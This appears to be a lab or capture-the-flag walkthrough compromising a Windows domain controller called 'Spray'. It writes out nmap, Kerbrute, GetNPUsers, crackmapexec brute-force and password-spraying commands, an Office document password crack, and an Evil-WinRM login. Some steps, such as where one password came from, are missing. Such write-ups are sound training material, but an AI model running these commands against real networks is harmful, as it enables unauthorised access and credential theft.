Nmap
Copy sudo nmap 172.31.3.9 -sS -p- -sC
Not shown: 65513 filtered ports
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
| rdp-ntlm-info:
| Target_Name: SPRAY
| NetBIOS_Domain_Name: SPRAY
| NetBIOS_Computer_Name: SPRAY-DC
| DNS_Domain_Name: spray.csl
| DNS_Computer_Name: Spray-DC.spray.csl
| DNS_Tree_Name: spray.csl
| Product_Version: 10.0.17763
|_ System_Time: 2020-12-19T20:51:44+00:00
| ssl-cert: Subject: commonName=Spray-DC.spray.csl
| Not valid before: 2020-09-09T15:27:45
|_Not valid after: 2021-03-11T15:27:45
|_ssl-date: 2020-12-19T20:51:44+00:00; -3s from scanner time.
5985/tcp open wsman
9389/tcp open adws
49667/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
49675/tcp open unknown
49676/tcp open unknown
49679/tcp open unknown
49696/tcp open unknown
49703/tcp open unknown
Host script results:
|_clock-skew: mean: -3s, deviation: 0s, median: -3s
|_nbstat: NetBIOS name: SPRAY-DC, NetBIOS user: <unknown>, NetBIOS MAC: 02:5c:13:73:3d:18 (unknown)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2020-12-19T20:51:44
|_ start_date: N/A SMB
A standard quick check with null authentication using smbclient and crackmapexec produces no viable vectors to follow.
Kerberos
As Kerberos is open on port 88 we can try to enumerate some usernames with Kerbrute. We have a domain name from Nmap when port 3389 was enumerated.
Copy kerbrute userenum /usr/share/seclists/Usernames/Names/names.txt -d spray.csl --dc 172.31.3.9 This only returns one result which was for the user 'calvin'.
I decided at this point to try a bigger wordlist as I normally would not expect to pull one name from an Active Directory server.
Copy kerbrute userenum /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -d spray.csl --dc 172.31.3.9 Better results this time. Lets put them in a text file and Kerberoast them using Impacket's GetNPUsers.py script.
Copy python2 GetNPUsers.py spray.csl/ -request -usersfile /home/kali/spray/users.txt -dc-ip 172.31.3.9 None of the users are Kerberoastable. Looking at our nmap results we can try password spraying against the list of users against SMB and WinRM.
We can use crackmapexec to kick off multiple instances of bruteforcing against our known users account. I will start with SMB to see if we get a hit.
Copy crackmapexec smb 172.31.3.9 -u freedy -p /usr/share/wordlists/rockyou.txt
crackmapexec smb 172.31.3.9 -u calvin -p /usr/share/wordlists/rockyou.txt
crackmapexec smb 172.31.3.9 -u johana -p /usr/share/wordlists/rockyou.txt After a short while we get a hit from johana:johana
We can check what access we get with smbclient.
Copy smbclient -U johana -L \\\\172.31.3.9
Copy smbclient -U johana \\\\172.31.3.9\\spray I was unable to open the document due to encryption. We can confirm this with the file command.
Copy kali@kali:~$ file Important\ Note.docx
Important Note.docx: CDFV2 Encrypted Kali comes installed with a Python script called office2john.py. We can use this to convert the document to a hash in which we can attempt to crack the encryption password.
With the hash stored in a file we can run this against John and attempt to crack it with the rockyou.txt wordlist.
Copy sudo john --wordlist=/usr/share/wordlists/rockyou.txt /home/kali/spray/hash After cracking we get the password '181818'. I was then able to open the document with LibreOffice on Kali.
We can try spraying this password with our user list against SMB and WinRM with crackmapexec. Before we try crackmapexec lets check if Kylesir gets a hit on Kerbrute.
Copy kerbrute userenum <usersfile> -d spray.csl --dc 172.31.3.9 We can check our new users against Impackets GetNPusers.py.
Copy python2 GetNPUsers.py spray.csl/ -request -usersfile <userfile> -dc-ip 172.31.3.9 Nothing here unfortunately. Lets try crackmapexec.
Copy crackmapexec smb 172.31.3.9 -u <usersfile> -p Spray.csl1337 --continue-on-success
crackmapexec winrm 172.31.3.9 -u <usersfile> -p Spray.csl1337 --continue-on-success Looks like we are not getting any hits with our new password and our new user. Looking at our initial Nmap results we still have RPC to try.
I ended up trying our known working credentials of johana:johana and was able to access RPC.
Copy rpcclient -U johana 172.31.3.9 From here I was able to the enumdomusers command and we are able to see an extra users we have not come across yet.
Lets try the new user hackzzdogs against SMB and WinRM.
Copy crackmapexec smb 172.31.3.9 -u hackzzdogs -p Spray.csl1337
crackmapexec winrm 172.31.3.9 -u hackzzdogs -p Spray.csl1337 Great, we have a valid hit. Lets use these credentials with Evil-WinRM.
Copy evil-winrm -u hackzzdogs -p Spray.csl1337 -i 172.31.3.9 
